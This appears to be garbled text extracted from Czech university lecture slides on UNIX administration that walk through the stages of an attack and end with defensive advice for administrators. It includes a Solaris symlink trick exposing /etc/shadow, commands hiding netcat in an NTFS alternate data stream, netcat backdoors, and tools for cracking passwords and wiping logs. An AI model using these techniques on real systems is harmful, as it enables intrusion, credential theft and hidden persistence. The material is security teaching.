Administrace UNIXu Leo Galamboˇs
Zajištění prostoru jmen, IP adres, zájmových osob
Administrativa Lokalizace
´ Utoky
Veřejné vyhledávací služby, whois báze, DNS, AXFR,… Nářadí: dig, nslookup, dnsmap, whois, DNSpredict, fierce,...
Anatomie
Skenování
Zjištění (vstupních) cílů Skenery TCP/UDP služeb, detekce OS, verzí démonů, ... Nářadí: fping, nmap, amap, xprobe2, SinFP,...
Lokalizace ´ ı Skenovan´
Analýza a prověření cílů a uživatelských účtů Výpisy účtů, zdrojů, SNMP, identifikace aplikací,... Nářadí: null sessions, DumpSec, showmount, nmbscan, rpcinfo, nmap, snmpwalk, snmpcheck, netcat...
Vytěžení cílů
Získání přístupu
Zvýšení získaných oprávnění
ˇ ren´ı der ˇ Proveˇ
Prověření děr
Sniffing hesel, brute-force, penetrační programy,... Nářadí: dsniff, Cain&Abel, phoss, hydra, SIPcrack, Metasploit framework, airsnarf, kismet,...
UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu
Posílení přístupu
Password cracking, exploits, script kiddies, ... Nářadí: john, rcrack, ophcrack, Cain, ntbf, LCP,...
UNIX
Vykrádání
Opětovné vytěžování nově získaných zdrojů Zneužívání důvěry, analýza dostupných dat (hesla, kódy),... Nářadí: rhosts, ssh/ssh-keygen, LSA secrets, C&A, /etc,...
Zakrytí průniku před administrátory a dozorem
´ ı Z´ıskan´ pˇr´ıstupu
MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakrytí stop
Zakryt´ı stop
Vyčištění logů, zakrytí „nového“ software,... Nářadí: logclean-ng, wtmpclean, rootkity, file streaming,...
UNIX
Vytvoření vrátek a mostů pro opětovné získání nadvlády
Zadní vrátka
?
Nové účty, cron-job, startup infekce, monitoring, trojani… Nářadí: cron, rc, registry, keylog, VNC, psexec, ssh a login s patchi,...
MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
Symlink hack
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky Anatomie
´ symlink vedeme na systemov´ y soubor ´ ˇ prava ´ vadnou utilitu nechame zmenit
Lokalizace ´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Solaris-like pˇr´ıklad $ ln -s /etc/shadow /var/dt/appconfig/appmanager/generic-display-0 $ /usr/dt/bin/dtappgather MakeDirectory: /var/dt/appconfig/appmanager/generic-display-0: File exists $ ls -l /etc/shadow -r-xr-xr-x 1 ivan staff ....
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
UNIX
Administrace UNIXu Leo Galamboˇs Administrativa
Core file ´ ı coredump v serverove´ aplikaci vyvolan´ ´ shadow baze ´ v´ysledn´y dump muˇ ˚ ze obsahovat cˇ asti ˇ sne´ na FTPD (pˇri PASV pˇred nalogovan´ ´ ım) usp ´ eˇ
´ Utoky Anatomie
Lokalizace ´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Race conditions na wu-ftpd
Pos´ılen´ı pˇr´ıstupu UNIX
ABOR zpusoboval SIGURG ˚ zavˇren´ı portu data-spoje vyvolalo SIGPIPE
MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
SIGPIPE: dologout()-uid0-writeLogs-closeLogs-exit ´ a´ root-a po FTP ABOR po pˇrechodu na uid0 dav
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
UNIX
Administrace UNIXu Leo Galamboˇs Administrativa
Sd´ılene´ knihovny modifikace LD PRELOAD ˇ in.telnetd umoˇznoval aktivaci s modifikovan´ym LD PRELOAD a aktivace /bin/login pak muˇ ˚ ze linkovat povrˇzenou autentizaˇcn´ı rutinu
´ Utoky Anatomie
Lokalizace ´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Vady kernelu - cˇ ist´y exploit z ringu 0 ´ eskalace z “libovolneho” uˇzivatele na root-a ˇ SELinux a spol. pomuˇ ˚ ze jen nekdy napˇr´ıklad vada ovladaˇcu˚ LKM: enyelkm, SucKIT, MoodNT
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
Microsoft Windows
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky Anatomie
Lokalizace ´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ
ˇ sina slabin se pravidelneˇ opravuje vetˇ getadmin utoky skrze DLL injection15 ´
´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav 15
Vyˇzaduje interaktivn´ı sezen´ı
Anatomie utoku ´
Administrace UNIXu Leo Galamboˇs
Zajištění prostoru jmen, IP adres, zájmových osob
Administrativa Lokalizace
´ Utoky
Veřejné vyhledávací služby, whois báze, DNS, AXFR,… Nářadí: dig, nslookup, dnsmap, whois, DNSpredict, fierce,...
Anatomie
Skenování
Zjištění (vstupních) cílů Skenery TCP/UDP služeb, detekce OS, verzí démonů, ... Nářadí: fping, nmap, amap, xprobe2, SinFP,...
Lokalizace ´ ı Skenovan´
Analýza a prověření cílů a uživatelských účtů Výpisy účtů, zdrojů, SNMP, identifikace aplikací,... Nářadí: null sessions, DumpSec, showmount, nmbscan, rpcinfo, nmap, snmpwalk, snmpcheck, netcat...
Vytěžení cílů
Získání přístupu
Zvýšení získaných oprávnění
ˇ ren´ı der ˇ Proveˇ
Prověření děr
Sniffing hesel, brute-force, penetrační programy,... Nářadí: dsniff, Cain&Abel, phoss, hydra, SIPcrack, Metasploit framework, airsnarf, kismet,...
UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu
Posílení přístupu
Password cracking, exploits, script kiddies, ... Nářadí: john, rcrack, ophcrack, Cain, ntbf, LCP,...
UNIX
Vykrádání
Opětovné vytěžování nově získaných zdrojů Zneužívání důvěry, analýza dostupných dat (hesla, kódy),... Nářadí: rhosts, ssh/ssh-keygen, LSA secrets, C&A, /etc,...
Zakrytí průniku před administrátory a dozorem
´ ı Z´ıskan´ pˇr´ıstupu
MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakrytí stop
Zakryt´ı stop
Vyčištění logů, zakrytí „nového“ software,... Nářadí: logclean-ng, wtmpclean, rootkity, file streaming,...
UNIX
Vytvoření vrátek a mostů pro opětovné získání nadvlády
Zadní vrátka
?
Nové účty, cron-job, startup infekce, monitoring, trojani… Nářadí: cron, rc, registry, keylog, VNC, psexec, ssh a login s patchi,...
MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
UNIX
Administrace UNIXu Leo Galamboˇs
John the Ripper ˇ s´ı utilita na lam ´ an´ ´ ı hesel nejobl´ıbenejˇ
Administrativa ´ Utoky Anatomie
Lokalizace
inteligentn´ı tvorba hintu˚
´ ı Skenovan´
Modular Crypt Format (MCF) 1MD5/2BLF:Salt:Hash
ˇ ren´ı der ˇ Proveˇ
root:$1$nLP5O79D$fghsiorn6wedie777:14201... halt:*:9797:0::::: operator:*:9797:0:::::
´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX
S´ıˇtova´ komunikace HTTP Suru attack
MS-Windows
proxy16
DP na MFF
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
16
http://www.sensepost.com/labs/tools/pentest/suru
´ ı hesel/heˇsu˚ MS-Windows z´ıskan´
Administrace UNIXu Leo Galamboˇs Administrativa
´ pˇr´ıstupu (VM) – WinPE a BartPE17 pˇri fyzickem pwdump utility18 skrze priv. mode DLL injection ´ Administratora ´ lsass.exe – vyˇzaduje prava
´ Utoky Anatomie
Lokalizace ´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX
Keˇs Local Security Authority (LSA)19 ´ eˇ hesla pro pˇr´ıstup stroje k domen 10 posledn´ıch heˇsu˚ nalogovan´ych uˇzivatelu˚ hesla sluˇzeb, ftp/www hesla, RAS uˇ ´ cty
MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
17
http://www.nu2.nu/pebuilder/ http://www.foofus.net/ 19 HKLM\SECURITY\Policy\Secrets 18
´ Zadn´ı vratka ´ er ˇ Zav
MS-Windows cracking
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky Anatomie
Lokalizace
ˇ Windows nemaj´ı salt a to usnadnuje utoky ´ 37 ´ a´ pouh´ych 2 heˇs´ı (znaky jsou uppercase)20 LM dav SW: John21 , ntbf22 , Cain23 , LCP24 , ad.
´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop 20
P. Oechslin (2003): prolomeno za 14 sekund. http://www.openwall.com/john/ 22 http://www.toolcrypt.org/ 23 http://www.oxid.it/ 24 http://www.lcpsoft.com/
UNIX MS-Windows
21
´ Zadn´ı vratka ´ er ˇ Zav
Anatomie utoku ´
Administrace UNIXu Leo Galamboˇs
Zajištění prostoru jmen, IP adres, zájmových osob
Administrativa Lokalizace
´ Utoky
Veřejné vyhledávací služby, whois báze, DNS, AXFR,… Nářadí: dig, nslookup, dnsmap, whois, DNSpredict, fierce,...
Anatomie
Skenování
Zjištění (vstupních) cílů Skenery TCP/UDP služeb, detekce OS, verzí démonů, ... Nářadí: fping, nmap, amap, xprobe2, SinFP,...
Lokalizace ´ ı Skenovan´
Analýza a prověření cílů a uživatelských účtů Výpisy účtů, zdrojů, SNMP, identifikace aplikací,... Nářadí: null sessions, DumpSec, showmount, nmbscan, rpcinfo, nmap, snmpwalk, snmpcheck, netcat...
Vytěžení cílů
Získání přístupu
Zvýšení získaných oprávnění
ˇ ren´ı der ˇ Proveˇ
Prověření děr
Sniffing hesel, brute-force, penetrační programy,... Nářadí: dsniff, Cain&Abel, phoss, hydra, SIPcrack, Metasploit framework, airsnarf, kismet,...
UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu
Posílení přístupu
Password cracking, exploits, script kiddies, ... Nářadí: john, rcrack, ophcrack, Cain, ntbf, LCP,...
UNIX
Vykrádání
Opětovné vytěžování nově získaných zdrojů Zneužívání důvěry, analýza dostupných dat (hesla, kódy),... Nářadí: rhosts, ssh/ssh-keygen, LSA secrets, C&A, /etc,...
Zakrytí průniku před administrátory a dozorem
´ ı Z´ıskan´ pˇr´ıstupu
MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakrytí stop
Zakryt´ı stop
Vyčištění logů, zakrytí „nového“ software,... Nářadí: logclean-ng, wtmpclean, rootkity, file streaming,...
UNIX
Vytvoření vrátek a mostů pro opětovné získání nadvlády
Zadní vrátka
?
Nové účty, cron-job, startup infekce, monitoring, trojani… Nářadí: cron, rc, registry, keylog, VNC, psexec, ssh a login s patchi,...
MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
UNIX
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky
Instalace
rootkitu25
Anatomie
Lokalizace
trojan: zmodifikovan´y program login, ps,. . .
´ ı Skenovan´
back-door inetd nebo webapp
ˇ ren´ı der ˇ Proveˇ
sniffery: dsniff, wireshark,. . . cˇ istiˇc logu: logclean-ng
´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad
Rathole a.k.a. rat – hole
UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka 25
http: //packetstormsecurity.org/UNIX/penetration/rootkits/
´ er ˇ Zav
MS-Windows
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky Anatomie
vypnut´ı auditu auditpol /disable (Resource Kit) ˇ ı Event logu elsave26 vyˇciˇsten´ zakryt´ı souboru˚ hidden pˇr´ıznak alternate data streams (NTFS) odhal´ı sfind27
> cp nc.exe enemyterritory.exe:nc.exe > start process.exe:nc.exe
Lokalizace ´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka 26
http://www.ibt.ku.dk/jesper/Windowstools 27 http://www.foundstone.com/
´ er ˇ Zav
Anatomie utoku ´
Administrace UNIXu Leo Galamboˇs
Zajištění prostoru jmen, IP adres, zájmových osob
Administrativa Lokalizace
´ Utoky
Veřejné vyhledávací služby, whois báze, DNS, AXFR,… Nářadí: dig, nslookup, dnsmap, whois, DNSpredict, fierce,...
Anatomie
Skenování
Zjištění (vstupních) cílů Skenery TCP/UDP služeb, detekce OS, verzí démonů, ... Nářadí: fping, nmap, amap, xprobe2, SinFP,...
Lokalizace ´ ı Skenovan´
Analýza a prověření cílů a uživatelských účtů Výpisy účtů, zdrojů, SNMP, identifikace aplikací,... Nářadí: null sessions, DumpSec, showmount, nmbscan, rpcinfo, nmap, snmpwalk, snmpcheck, netcat...
Vytěžení cílů
Získání přístupu
Zvýšení získaných oprávnění
ˇ ren´ı der ˇ Proveˇ
Prověření děr
Sniffing hesel, brute-force, penetrační programy,... Nářadí: dsniff, Cain&Abel, phoss, hydra, SIPcrack, Metasploit framework, airsnarf, kismet,...
UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu
Posílení přístupu
Password cracking, exploits, script kiddies, ... Nářadí: john, rcrack, ophcrack, Cain, ntbf, LCP,...
UNIX
Vykrádání
Opětovné vytěžování nově získaných zdrojů Zneužívání důvěry, analýza dostupných dat (hesla, kódy),... Nářadí: rhosts, ssh/ssh-keygen, LSA secrets, C&A, /etc,...
Zakrytí průniku před administrátory a dozorem
´ ı Z´ıskan´ pˇr´ıstupu
MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakrytí stop
Zakryt´ı stop
Vyčištění logů, zakrytí „nového“ software,... Nářadí: logclean-ng, wtmpclean, rootkity, file streaming,...
UNIX
Vytvoření vrátek a mostů pro opětovné získání nadvlády
Zadní vrátka
?
Nové účty, cron-job, startup infekce, monitoring, trojani… Nářadí: cron, rc, registry, keylog, VNC, psexec, ssh a login s patchi,...
MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
MS-Windows
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky Anatomie
Lokalizace
netcat posloucha´ na portu a po pˇripojen´ı spust´ı proces, napˇr. cmd.exe psexec vyuˇz´ıva´ pˇr´ımo SMB Back-door payloads nab´ız´ı i Metasploit WinVNC fpipe pro redirekci TCP spoju˚
´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
´ Pouˇcen´ı administratovo
Administrace UNIXu Leo Galamboˇs Administrativa
IP adresa utoˇ ´ cn´ıka je cˇ asto faleˇsna´ ´ ı vkladejte ´ do veˇrejn´ych baz´ jen nutne´ udaje ´
´ Utoky
provozujte jen protokoly, kter´ym rozum´ıte (ICMP tunel) neposkytujte zbyteˇcneˇ cˇ ´ısla verz´ı software
´ ı Skenovan´
pravidelneˇ aktualizujte (BIND, exploity)
Anatomie
Lokalizace
ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
instalujte jen nezbytn´y software (telnet, nc?) ´ rovneˇ ˇ z vyˇzaduje dohled IDS nen´ı vˇselek,
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
vyˇzadujte kvalitn´ı hesla separujte servery a klienty (napˇr. via DMZ) servery bez shell pˇr´ıstupu (exploit ring-0, LKM) ´ e´ nastaven´ı FW – omezte i odchoz´ı tok spravn
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
Administrace UNIXu Leo Galamboˇs
ˇ ˇ rit? Cemu lze skuteˇcneˇ v IS/IT veˇ ´ — Niˇcemu, nemate-li kvalitn´ı bezpeˇcnostn´ı politiku
Administrativa ´ Utoky Anatomie
Lokalizace ´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ
´ Lze se ochranit? ˇ ım a pedantsk´ym pˇr´ıstupem — Ano, s velk´ym sˇ test´
´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
Co kdyˇz meˇ dostanou? ´ obrovskou pˇr´ıleˇzitost pochopit jak k tomu doˇslo — Mate
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav